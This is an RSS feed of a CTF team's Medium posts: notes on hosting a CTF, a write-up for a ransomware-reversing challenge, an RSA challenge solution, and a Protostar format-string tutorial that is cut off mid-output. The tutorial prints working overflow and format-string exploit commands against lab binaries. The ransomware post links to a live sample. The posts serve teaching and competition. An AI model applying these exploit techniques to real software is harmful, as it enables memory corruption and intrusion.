<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[ZH3R0 - Medium]]></title>
        <description><![CDATA[We are rambunctious people who believe in the Open source norm and believes in Security for all. - Medium]]></description>
        <link>https://medium.com/zh3r0?source=rss----14a9066c581f---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>ZH3R0 - Medium</title>
            <link>https://medium.com/zh3r0?source=rss----14a9066c581f---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 10:49:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/zh3r0" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Host a CTF for free!]]></title>
            <link>https://medium.com/zh3r0/host-a-ctf-for-free-6ec5a51ce728?source=rss----14a9066c581f---4</link>
            <guid isPermaLink="false">https://medium.com/p/6ec5a51ce728</guid>
            <category><![CDATA[zh3r0ctf]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Careless Finch]]></dc:creator>
            <pubDate>Sat, 04 Jul 2020 16:38:46 GMT</pubDate>
            <atom:updated>2021-03-10T17:33:48.356Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C3EmORDQyTLP6on_20GLlA.png" /><figcaption>Zh3r0 CTF Banner</figcaption></figure><p>In this blog, I will be talking about how we hosted our CTF for free, the issues we faced and certain tips and tricks that we used to make the user experience smooth. This will provide you with most of the resources and information required to host your own CTF for free.</p><h3><strong>Back Story</strong></h3><p>Before we get started with the tutorial I would like to talk about how this all began.</p><p>Team Zh3r0 began as a group of like minded high school students interested in cyber security and technology. We started playing CTFs from April 2020, and after playing few CTFs we had a desire to host our own CTF. Although we had no prior experience of hosting a CTF, we planned to conduct a test CTF to asses the level of complexity involved and know the responses of the players.</p><p>We conducted Zh3r0-pre-CTF on May 5th 2020 involving more than 150 active users and it gave us a base idea of the complexity involved.</p><p>Around May 15th we started our preparation for the main event.</p><h3>Planning</h3><p>We first discussed about the Authors and the challenges we were going to have. Unfortunately some members of Zh3r0 were not available at those days, but still we decided to proceed with the CTF.</p><p>We planned to have all the common categories as well as some new categories to make the competition more exciting.</p><p>Then we agreed upon the authors and the challenges we were gonna make.</p><p>Then we reached out to some sponsors. Hack The Box and Try Hack Me sponsored our Prizes.</p><h3>Stats</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-3Rms55phR1PKKkXD_FCDg.png" /><figcaption>CTFd stats</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/142/1*i-28fJG9qRPpxoF7PP50sQ.png" /><figcaption>Cloud flare stats</figcaption></figure><p>We got over 2000 users registered and over 1000 teams.</p><p>We handled close to 3 Million requests severing around 80 GB of data.</p><p>Our top 5 audience were from India, US ,France, Japan and UK.</p><p>Cloud Flare helped us in reducing the loading times by caching our website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*9dNNAVcdL_bXITkyiVXz4Q.png" /></figure><h3>Infra</h3><p>So we went overkill on infra as we didn’t have any previous experience in hosting a big CTF like this.</p><p>We didn’t have any infra sponsors so we went with all the providers who offered free credits for signing up. We chose three- Digital Ocean, Google Cloud and Microsoft Azure.</p><p>So in Digital Ocean we got $100, GCP $300, Azure $200.</p><h4>For CTFd hosting</h4><p>We chose Azure as GCP were not accepting our quota increase request on cores. We were limited to 12 cores. :(</p><p>We kept 32 cores which was way overkill.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KcUX_oI7ESNOekVoUTJAYA.png" /></figure><h4>Issues</h4><p>After the CTF had started we noticed that the site was lagging and only 2 cores were getting used -_-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*2Qm_Tk8AdHchOxosZMY6pg.png" /></figure><p>I looked for solutions online and found that it is due to gunicorn workers were set to 4. So I increased it (65) and the site crashed :(</p><p>Every time I started it, it crashed. So I reduced the core count to 20 and reduced the no. of workers (41). Surprisingly it worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pIJFR3yiQQMpAj_yNKZGWw.png" /></figure><p>After that it was smooth. (•‿•)</p><h4>Challenge Servers</h4><p>So for PWN, Crypto and Misc. challenges, we used GCP and for web and Hacking machines we used Digital Ocean.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*c_zYE7mubkXhKddMRrdIyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*B_A3XKm-6BNMBioolG8hyw.png" /></figure><p>For PWN, we had 3 servers to reduce load and for smoother experience. The one in India had 8 cores, Germany and US 4 cores each. We didn’t set up load balancing for PWN as multi region LB is costly. We gave all the to the players.</p><p>For Crypto and Misc. we didn’t had any load balancing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*nTbh6gswMYs-JzjrwOD1WA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/176/1*RSCo43S_jaeZiShViV9Fbw.png" /></figure><p>For web, we used 2 similar servers with 6 cores and did round robin load balancing (setting both server IPs are 2 A records).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/173/1*KqcJjfntBJR3Zy7DM_ZN6g.png" /></figure><p>For hacking machine also we had 2 servers (4 cores) with the same load balancing technique.</p><h3>Technical Part</h3><p>Now onto the technical stuff.</p><h4>It is advised to git clone from <a href="https://github.com/CTFd/CTFd">CTFd/CTFd: CTFs as you need them (github.com)</a> and run</h4><blockquote>docker-compose up</blockquote><h4>You can follow the below procedure also</h4><h4>CTFd</h4><p>To run CTFd from the docker hub image.</p><blockquote>docker run -d -it -p 80:8000 ctfd/ctfd</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*Jx-eecA473cq8oz7IFnzEw.png" /></figure><p>Now go to the public IP and it will be up</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vsYh5ZC1CWqAEJvh8EwiIg.png" /><figcaption>I have hosted in my local for this</figcaption></figure><p>It is enough for small CTFs. Just make sure you edit the gunicorn workers.</p><h4>Editing workers</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oRoPe-gLipZfF58gxYV0Lw.png" /></figure><blockquote>docker ps<br>docker exec -it &lt;container id&gt; /bin/sh<br>vi docker-entrypoint.sh</blockquote><p>Get inside the docker and change the workers inside the start script and commit the docker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*irM0c8pQZoaJcr33gt0G6g.png" /></figure><p>After that exit and commit the docker</p><blockquote>docker commit &lt;container id&gt; &lt;name&gt;<br>docker run -d -it -p 80:8000 &lt;name&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*Qn3kT8CwAIrW1-lUjl-qnQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QskPvBiNVtKGWh-VhmwyZQ.png" /></figure><p>CTFd setup is now complete. You can now setup the admin password and other stuff.</p><h4>Cloud Flare</h4><p>I used Cloud Flare as our DNS manager, CDN and for DDOS protection. More over its <strong>free</strong>!</p><p>It also helped us by providing free SSL certificate and also caching some parts of the website. Half of the requests were cached!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GO1Ua9oENieTrm5TA1jl6A.png" /></figure><p>Just point A records to the servers and don’t forget to proxy the CTFd server.</p><p>That’s all!</p><h4>Mail Server</h4><p>I was too lazy to configure mail server so I used <strong>mailgun </strong>as it is very easy to setup. Just add the records as they say and add the API key to CTFd. Done!</p><p>First 5000 mails are free in Mailgun!</p><h3>Conclusion</h3><p>So this was an insight on our CTF hosting pathway. And how we hosted an international CTF for free.<br>Even though we faced some issues, it the event was a great success considering it was our first CTF. This shows that if you are willing to take risks and are determined then you can succeed in anything.</p><p>All enjoyed our CTF. We got good ratings in CTF Time too!</p><p>Moreover hosting Zh3r0 CTF helped me learn a lot of new things.</p><p>If you have any feedback or suggestions please write it down at the response section below.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ec5a51ce728" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zh3r0/host-a-ctf-for-free-6ec5a51ce728">Host a CTF for free!</a> was originally published in <a href="https://medium.com/zh3r0">ZH3R0</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zh3r0 CTF — Five / Nine Writeup]]></title>
            <link>https://medium.com/zh3r0/zh3r0-ctf-five-nine-writeup-c00e2d8d9565?source=rss----14a9066c581f---4</link>
            <guid isPermaLink="false">https://medium.com/p/c00e2d8d9565</guid>
            <dc:creator><![CDATA[4N0NYM4U5]]></dc:creator>
            <pubDate>Fri, 03 Jul 2020 13:15:51 GMT</pubDate>
            <atom:updated>2020-07-03T13:15:51.534Z</atom:updated>
            <content:encoded><![CDATA[<h3>Zh3r0 CTF — Five / Nine Writeup</h3><blockquote><strong>Challenge :</strong> Five / Nine<br><strong>Description : </strong>Can you undo the Five / Nine?<br><strong>Caution : This is a ransomware so dont run it on your main OS your files will get encrypted, And if it gets encrypted i cant help. So run it on your VM.</strong><br><a href="https://docs.google.com/uc?export=download&amp;id=1j639Iu3cO7bKXoOzDDBP9GfEJ3E5lKNy">File</a><br>Password : ROOTKIT<br><strong>Author :</strong> 4N0NYM4U5</blockquote><p>This challenge had only one solve. It was solved by <a href="https://ctftime.org/team/48976">team cr0wn</a> just before one hour until CTF ended. So congragulations to cr0wn for winning the CTF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*ka_oMBi4Fu9P5Ad7rk18eQ.png" /></figure><p>Also bootplug solved it in a different way but they solved it just 10 minutes after the CTF ended. They scored Second in CTF, So congrats to <a href="https://ctftime.org/team/81341">bootplug</a>.<br>And lets begin with the writeup :).</p><p><strong>Info about the ransomware:<br></strong>I created this ransomware in Python and packed it with PyArmor. So reverse engineering / unpacking would be really hard. So monitoring the ransomware would lead you to the intended solution. So fire up your Windows VM for the analysis. I used Windows 10 unpatched VM and there were few issues when the players tried to run it on Windows 7, I did not know that. Sorry for the issues. The zip contains the ransomware and a folder which has plenty of images from Mr.Robot.</p><p><strong>Working :<br></strong>Run the executable in your VM. It may crash few times due to problem with dev random but it should eventually wrech your PC at some point. It does not encrypt alot of stuffs like exe, That would just destroy your PC and make it unusable so i did not want to do that. Run the exe and if it works, Your desktop wallpaper should have changed and your files should have encrypted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8UgI8cFJStgoKdkH3-p8bQ.png" /></figure><p>Run it twice and check the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/191/1*HJh9tAGpMHwymSjA3JJjEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*hfhqXW0RTsQm27DrqiUZBQ.gif" /></figure><p>U run it twice the encrypted data gets encrypted again. So make sure you create a snapshot of your VM before trying it.</p><p><strong>Solution :<br></strong>1. Before running the ransomware in your VM.. Take a snap of your registry using regshot. Most persistence techniques on a Microsoft Windows platform involve the use of the Registry. Windows registry is one thing which u shud look up during malware analysis…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*GDnsfUORCCUccPmWvmNjYA.png" /></figure><p>2. Network Analysis : Analyse the outbound connections made by the ransomware using wireshark. You will see a DNS request to a python library.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eTsampImxe7esplcNBz30g.png" /></figure><p><a href="https://pypi.org/project/cryptosteganography/">cryptosteganography</a></p><p>Now try to extract the hidden data using <a href="https://pypi.org/project/cryptosteganography/"><strong>cryptosteganography</strong></a><strong> </strong>and the password we got from regedit key with the images given in the Mr_Robot folder.</p><pre>from cryptosteganography import CryptoSteganography<br>import os<br>import sys<br>from Crypto.Cipher import AES<br>from Crypto.PublicKey import RSA<br>from Crypto.Util.number import *<br>from base64 import *<br>from Crypto import Random</pre><pre>crypto_steganography = CryptoSteganography(&#39;w3_4r3_4n0nym4u5&#39;)</pre><pre>for i in os.listdir():<br>    try:<br>        text = (crypto_steganography.retrieve(i))<br>        print(text)<br>    except:<br>        pass</pre><p>Running this python script inside the Mr_Robot folder will give you this data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*4gVHzBT2uoW-qI1lI6aZGA.png" /></figure><p>BEEPS!!!! It should have been “<strong>You have did well to come here</strong>”. Never mind lets finish this. <br>So with this data we can get the key that is used to encrypt the files.</p><pre>from Crypto.Cipher import AES<br>from Crypto.PublicKey import RSA<br>from Crypto.Util.number import *<br>from base64 import *</pre><pre>n=&lt;value of n&gt;<br>ct=&lt;value of ct&gt;<br>e=65537<br>junk=&lt;value of (p+q)&gt;<br>phin=n-(junk)+1<br>d=inverse(e,phin)<br>m=pow(ct,d,n)<br>key=long_to_bytes(m)<br>print(key)<br>flag_file=open(&#39;C:\\Windows\\System32\\flag.txt.encrypted&#39;,&#39;rb&#39;)<br>enc_data=flag_file.read()<br>enc_data=b64decode(enc_data)<br>dec=AES.new(key,AES.MODE_ECB)<br>flag=dec.decrypt(enc_data)<br>flag=b64decode(flag)<br>print(flag)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ROe3Oa_tqP6mLdmXv1SYHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*3RUdtilJDrd52_xB2RHn2A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c00e2d8d9565" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zh3r0/zh3r0-ctf-five-nine-writeup-c00e2d8d9565">Zh3r0 CTF — Five / Nine Writeup</a> was originally published in <a href="https://medium.com/zh3r0">ZH3R0</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[zh3r0 CTF-Are you the Master? 2 Official Write-up]]></title>
            <link>https://medium.com/zh3r0/zh3r0-ctf-are-you-the-master-2-official-write-up-c8f3e2f69402?source=rss----14a9066c581f---4</link>
            <guid isPermaLink="false">https://medium.com/p/c8f3e2f69402</guid>
            <category><![CDATA[zh3r0ctf]]></category>
            <category><![CDATA[crypto]]></category>
            <category><![CDATA[rsa]]></category>
            <category><![CDATA[zh3r0]]></category>
            <category><![CDATA[masculinity]]></category>
            <dc:creator><![CDATA[Careless Finch]]></dc:creator>
            <pubDate>Fri, 19 Jun 2020 07:33:52 GMT</pubDate>
            <atom:updated>2020-05-07T15:48:42.763Z</atom:updated>
            <content:encoded><![CDATA[<p>Master 2 is more like a Math problem than a RSA problem.</p><p>So you are given 3 files. 2 from challenge and 1 from Google Drive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*NqklCUmTx0GEaQaahnsdew.png" /></figure><p>From python file:</p><pre>from Crypto.PublicKey import RSA<br>from Crypto.Util.number import *<br>from key import pt<br>p=getPrime(1024)<br>q=getPrime(1024)<br>x=getPrime(1024)<br>y=getPrime(1024)<br>n1=p*q<br>n2=x*y<br>e=65537<br>ct1=pow(pt,e,n1)<br>ct2=pow(pt,e,n2)<br>ootp=”N1 : “+str(n1)+”\nN2 : “+str(n2)+”\nE : 65537\nct1 : “+str(ct1)+”\nct2 : “+str(ct2)<br>aaa=”p+q+r+s: “+str(p+q+r+s)+”\n(p-q)-(x-y): “+str((p-q)-(x-y))<br>red=open(“RSA.txt”,”w”)<br>red.write(ootp)<br>red.close()<br>red=open(“prxy.txt”,”w”)<br>red.write(aaa)<br>red.close()</pre><p>We got to know that it is made up of 4 primes and n1=p*q|n2=x*y</p><p>Now lets get to making script</p><pre>n1 = 12417127080422815737857829178789430387283644656796286644007190181275233038254982650900520208444570033944895679971951177467573644862800675887334791773359856548963510883567782247183009990733340366515218860231712518296231805253324709898640633155086183815927550133617562353243937514697745005568701059532650134387938324758897250094164121081436717576172349562189353547255742022806306628952658668123205041188480195366849528415075164756192945905158788561605088805110011605401289098591967818721785957410628314905762182529466041792601801094942412062721024595217699250282503561387690942463365022141266614422371304745947051066911<br>n2 = 13535742671170343194649874173445485003326954678704056429640294829224266409224232171669448606741290104143837444968157218953588036492336055641208728870300040922937631422614960829636268967870984021444065500833099886484031433400395173560484969029637105065058222908335510602204222935794203521997891554881452372380306145071165640328082610889602712719130949436394915102917587068497410741572114811122786488523349899125527219920591403522973523980874897487583741525542325853756358317440225706520923430697121297492167491992231025785528653319733872313411135278109820094900710129215353037113925434816021050732043191473976761644041<br>e = 65537<br>ct = 3776478243125222658515594635416338601627622074381925747470047865965623614236065341693278202724655814789048471523954172003395524166507583326259250957544858846929239564248292316635638398557784195461238822667662560834324258193103655795748902328797091392483535364256029591727235692999622720632986889258592903607027869408557025837341680731133831338187240101119708022782009249576510526966551941049438189519877273072953206086848387281968052298929142667413389464722377867077939780430741421774157426130552850296605612726411410208158788106389052244165013174051754347396411043231017624630314985276556512095367376194166983202656</pre><pre>#p+q+x+y<br>a = 461865358514192960434982980388049288328080532500468524967649213492976854354009981587975391303842169821869139144259614711715053619184463738325803100173566859332560510654710569094589524171402215115591813322237293103273306369558719284046155313287463229499747397470701965008926099021198426250727264745924621147722<br>#p+y-(q+x)<br>b = 72904645555375913591333808068681895072188978607726716983118482918641130003107637360771239343328911228636046234796389775690478441161899404683856843572593683704394524558615891086457573500744380638740361933791300531356267210630868457364050727161034745914546893554710104131439008766029508068850386010386259775806</pre><pre>#p+y<br>c=(a+b)/2<br>#q+x<br>d=(a-b)/2</pre><pre>#px+qy<br>aa=(c*d)-(n1+n2)</pre><pre>&quot;&quot;&quot;<br>Now its time for Math :P</pre><pre>n1*n2=p*q*x*y<br>so, we can write px as n1*n2<br>                       -----<br>                        q*y<br>so aa becomes:<br>aa = n1*n2 + q*y<br>     -----<br>      q*y<br>so cross multiplying it we get:<br>q*y*aa = n1*n2 + (q*y)^2</pre><pre>so<br>(q*y)^2 - q*y*aa + n1*n2</pre><pre>Now we have to solve quadratic equation<br>     <br>q*y = aa + √(aa^2) - 4*(n1*n2)<br>      ----------------------------<br>                2<br>I am taking q*y as qy<br>&quot;&quot;&quot;<br>qy = aa + (isqrt((aa**2)-(4*n1*n2)))</pre><pre>#q=HCF(n1,qy)<br>q = GCD(n1,qy)<br>p = n1//q<br>phin = (p-1)*(q-1)<br>d = inverse(e,phin)<br>print(long_to_bytes(pow(ct,d,n1)))</pre><p>After running this we get the flag:</p><h3><strong>zh3r0{Th1s_1s_4_K3y_gfh}</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*D5PYCmh2TuzypzHCgl03wg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8f3e2f69402" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zh3r0/zh3r0-ctf-are-you-the-master-2-official-write-up-c8f3e2f69402">zh3r0 CTF-Are you the Master? 2 Official Write-up</a> was originally published in <a href="https://medium.com/zh3r0">ZH3R0</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INTRO TO PWN: PROTOSTAR FORMAT STRINGS]]></title>
            <link>https://medium.com/zh3r0/intro-to-pwn-protostar-format-strings-c86ca3458ad3?source=rss----14a9066c581f---4</link>
            <guid isPermaLink="false">https://medium.com/p/c86ca3458ad3</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[intro-to-pwn]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Nithilan Pugal]]></dc:creator>
            <pubDate>Thu, 14 May 2020 07:56:30 GMT</pubDate>
            <atom:updated>2020-05-14T11:57:52.935Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oe5z7ioUAXC9vEQTwrD6yw.jpeg" /></figure><p>Format string vulnerabilities are extremely interesting vulnerabilities by itself. Well then how do they work??</p><pre>printf(const char *format, ...);</pre><p>As you can see printf takes in a format character and then an input, the format character can dictate what type of input is taken like if it is a string or a hex, etc.</p><p>We can supply the format string with %x to leak out the memory of the stack too when stack protections such as ASLR or Stack canary are used.</p><p>If you look at the man page for printf — man 3 printf — you will see various format characters such as %d for decimal numbers, %x for hexadecimal, %s for strings, etc. When they are input into the 1st part of printf, it will read the stack as input in the format character which you specify.</p><h3>FORMAT0:</h3><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>void vuln(char *string)<br>{<br>  volatile int target;<br>  char buffer[64];<br><br>  target = 0;<br><br>  sprintf(buffer, string);<br>  <br>  if(target == 0xdeadbeef) {<br>      printf(&quot;you have hit the target correctly :)\n&quot;);<br>  }<br>}<br><br>int main(int argc, char **argv)<br>{<br>  vuln(argv[1]);<br>}</pre><p>As we look at this code we can immediately spot the vulnerability which is the sprintf, sprintf acts like gets and copies everything from string into the buffer. So all we have to do is overflow the buffer and overwrite target as 0xdeadbeef.</p><pre>user@prototar:/opt/prototar/bin$ ./format0 &quot;`python -c &quot;print &#39;A&#39;*64 + &#39;\xef\xbe\xad\xde&#39;&quot;`&quot;<br>you have hit the target correctly :)</pre><p>We got Format0, and that was really easy!!! Now let us go to the next one.</p><h3>FORMAT1:</h3><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>int target;<br><br>void vuln(char *string)<br>{<br>  printf(string);<br>  <br>  if(target) {<br>      printf(&quot;you have modified the target :)\n&quot;);<br>  }<br>}<br><br>int main(int argc, char **argv)<br>{<br>  vuln(argv[1]);<br>}</pre><p>As you can see here, our input is placed in the first part of of printf where the format string goes. Now lets type %x and see what happens.</p><pre>user@protostar:/opt/protostar/bin$ ./format1 &quot;%x %x %x %x %x %x&quot;<br>804960c bffff7d8 8048469 b7fd8304 b7fd7ff4 bffff7d8user@protostar:/opt/protostar/bin$</pre><p>As you can see we are printing things on the stack. If we keep increasing the number of %x we will keep printing things on the stack.</p><p>Now let us find the address of target:</p><pre>user@protostar:/opt/protostar/bin$ objdump -t format1</pre><pre>format1:  file format elf32-i386</pre><pre>SYMBOL TABLE:<br>08048114 l    d  .interp  00000000  .interp<br>08048128 l    d  .note.ABI-tag  00000000  .note.ABI-tag<br>08048148 l    d  .note.gnu.build-id  00000000  .note.gnu.build-id<br>0804816c l    d  .hash  00000000  .hash<br>08048198 l    d  .gnu.hash   00000000  .gnu.hash<br>080481b8 l    d  .dynsym  00000000  .dynsym<br>08048218 l    d  .dynstr  00000000  .dynstr<br>0804826a l    d  .gnu.version   00000000  .gnu.version<br>08048278 l    d  .gnu.version_r 00000000  .gnu.version_r<br>08048298 l    d  .rel.dyn    00000000  .rel.dyn<br>080482a0 l    d  .rel.plt    00000000  .rel.plt<br>080482c0 l    d  .init  00000000  .init<br>080482f0 l    d  .plt   00000000  .plt<br>08048340 l    d  .text  00000000  .text<br>080484dc l    d  .fini  00000000  .fini<br>080484f8 l    d  .rodata  00000000  .rodata<br>08048520 l    d  .eh_frame   00000000  .eh_frame<br>08049524 l    d  .ctors 00000000  .ctors<br>0804952c l    d  .dtors 00000000  .dtors<br>08049534 l    d  .jcr   00000000  .jcr<br>08049538 l    d  .dynamic    00000000  .dynamic<br>08049608 l    d  .got   00000000  .got<br>0804960c l    d  .got.plt    00000000  .got.plt<br>08049628 l    d  .data  00000000  .data<br>08049630 l    d  .bss   00000000  .bss<br>00000000 l    d  .stab  00000000  .stab<br>00000000 l    d  .stabstr    00000000  .stabstr<br>00000000 l    d  .comment    00000000  .comment<br>00000000 l    df *ABS*  00000000  crtstuff.c<br>08049524 l  O .ctors 00000000  __CTOR_LIST__<br>0804952c l  O .dtors 00000000  __DTOR_LIST__<br>08049534 l  O .jcr   00000000  __JCR_LIST__<br>08048370 l  F .text  00000000  __do_global_dtors_aux<br>08049630 l  O .bss   00000001  completed.5982<br>08049634 l  O .bss   00000004  dtor_idx.5984<br>080483d0 l  F .text  00000000  frame_dummy<br>00000000 l    df *ABS*  00000000  crtstuff.c<br>08049528 l  O .ctors 00000000  __CTOR_END__<br>08048520 l  O .eh_frame   00000000  __FRAME_END__<br>08049534 l  O .jcr   00000000  __JCR_END__<br>080484b0 l  F .text  00000000  __do_global_ctors_aux<br>00000000 l    df *ABS*  00000000  format1.c<br>0804960c l  O .got.plt    00000000  .hidden _GLOBAL_OFFSET_TABLE_<br>08049524 l    .ctors 00000000  .hidden __init_array_end<br>08049524 l    .ctors 00000000  .hidden __init_array_start<br>08049538 l  O .dynamic    00000000  .hidden _DYNAMIC<br>08049628  w   .data  00000000  data_start<br>08048440 g  F .text  00000005  __libc_csu_fini<br>08048340 g  F .text  00000000  _start<br>00000000  w   *UND*  00000000  __gmon_start__<br>00000000  w   *UND*  00000000  _Jv_RegisterClasses<br>080484f8 g  O .rodata  00000004  _fp_hw<br>080484dc g  F .fini  00000000  _fini<br>00000000    F *UND*  00000000  __libc_start_main@@GLIBC_2.0<br>080484fc g  O .rodata  00000004  _IO_stdin_used<br>08049628 g    .data  00000000  __data_start<br>0804962c g  O .data  00000000  .hidden __dso_handle<br>08049530 g  O .dtors 00000000  .hidden __DTOR_END__<br>08048450 g  F .text  0000005a  __libc_csu_init<br>00000000    F *UND*  00000000  printf@@GLIBC_2.0<br>08049630 g    *ABS*  00000000  __bss_start<br>080483f4 g  F .text  00000028  vuln<br><strong>08049638 g  O .bss   00000004  target</strong><br>0804963c g    *ABS*  00000000  _end<br>00000000    F *UND*  00000000  puts@@GLIBC_2.0<br>08049630 g    *ABS*  00000000  _edata<br>080484aa g  F .text  00000000  .hidden __i686.get_pc_thunk.bx<br>0804841c g  F .text  0000001b  main<br>080482c0 g  F .init  00000000  _init</pre><p>As we can see the address of the <strong>target</strong> variable is <strong>0x08049638</strong>.</p><p>Now how does a variable work?? How do we write to target??</p><p>We use a format string called %n which writes the amount of characters printed into a variable, thus it writes to memory. Variables have a pointer — variable pointer — which points to a place on the stack where the variable is stored, in assembly the address of the variable which we found via objdump is placed on the stack.</p><p>Now lets print the stack to see if we can find it:</p><pre>user@protostar:/opt/protostar/bin$ ./format1 &quot;`python -c &quot;print &#39;%x &#39;*200&quot;`&quot;<br>804960c bffff588 8048469 b7fd8304 b7fd7ff4 bffff588 8048435 bffff758 b7ff1040 804845b b7fd7ff4 8048450 0 bffff608 b7eadc76 2 bffff634 bffff640 b7fe1848 bffff5f0 ffffffff b7ffeff4 804824d 1 bffff5f0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff608 204c744f a1f225f 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff634 8048450 8048440 b7ff1040 bffff62c b7fff8f8 2 bffff74e bffff758 0 bffff9b1 bffff9bf bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe6 0 20 b7fe2414 21 b7fe2000 10 178bfbbf 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff72b 1f bffffff2 f bffff73b 0 0 0 3a000000 aaeedef9 3e986fd3 66b1abf0 697ff661 363836 0 0 0 2f2e0000 6d726f66 317461 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078</pre><p>Hmmmm why is there a repetition of numbers?? Lets decode the hex values:</p><p>If we decode the hex values to ascii it would show: %x %x %x, we have reached the stack where the variables are stored.</p><p>What we can do is we can place the address of target and then write to it using %n, so lets pad our input such that it is easier to find.</p><pre>user@protostar:/opt/protostar/bin$ ./format1 &quot;`python -c &quot;print &#39;AAAA&#39;+&#39;\x38\x96\x04\x08&#39; +&#39;BBBB&#39;+&#39;%x &#39;*200&quot;`&quot;<br>AAAA8BBBB804960c bffff588 8048469 b7fd8304 b7fd7ff4 bffff588 8048435 bffff74c b7ff1040 804845b b7fd7ff4 8048450 0 bffff608 b7eadc76 2 bffff634 bffff640 b7fe1848 bffff5f0 ffffffff b7ffeff4 804824d 1 bffff5f0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff608 5237e6b9 7864b0a9 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff634 8048450 8048440 b7ff1040 bffff62c 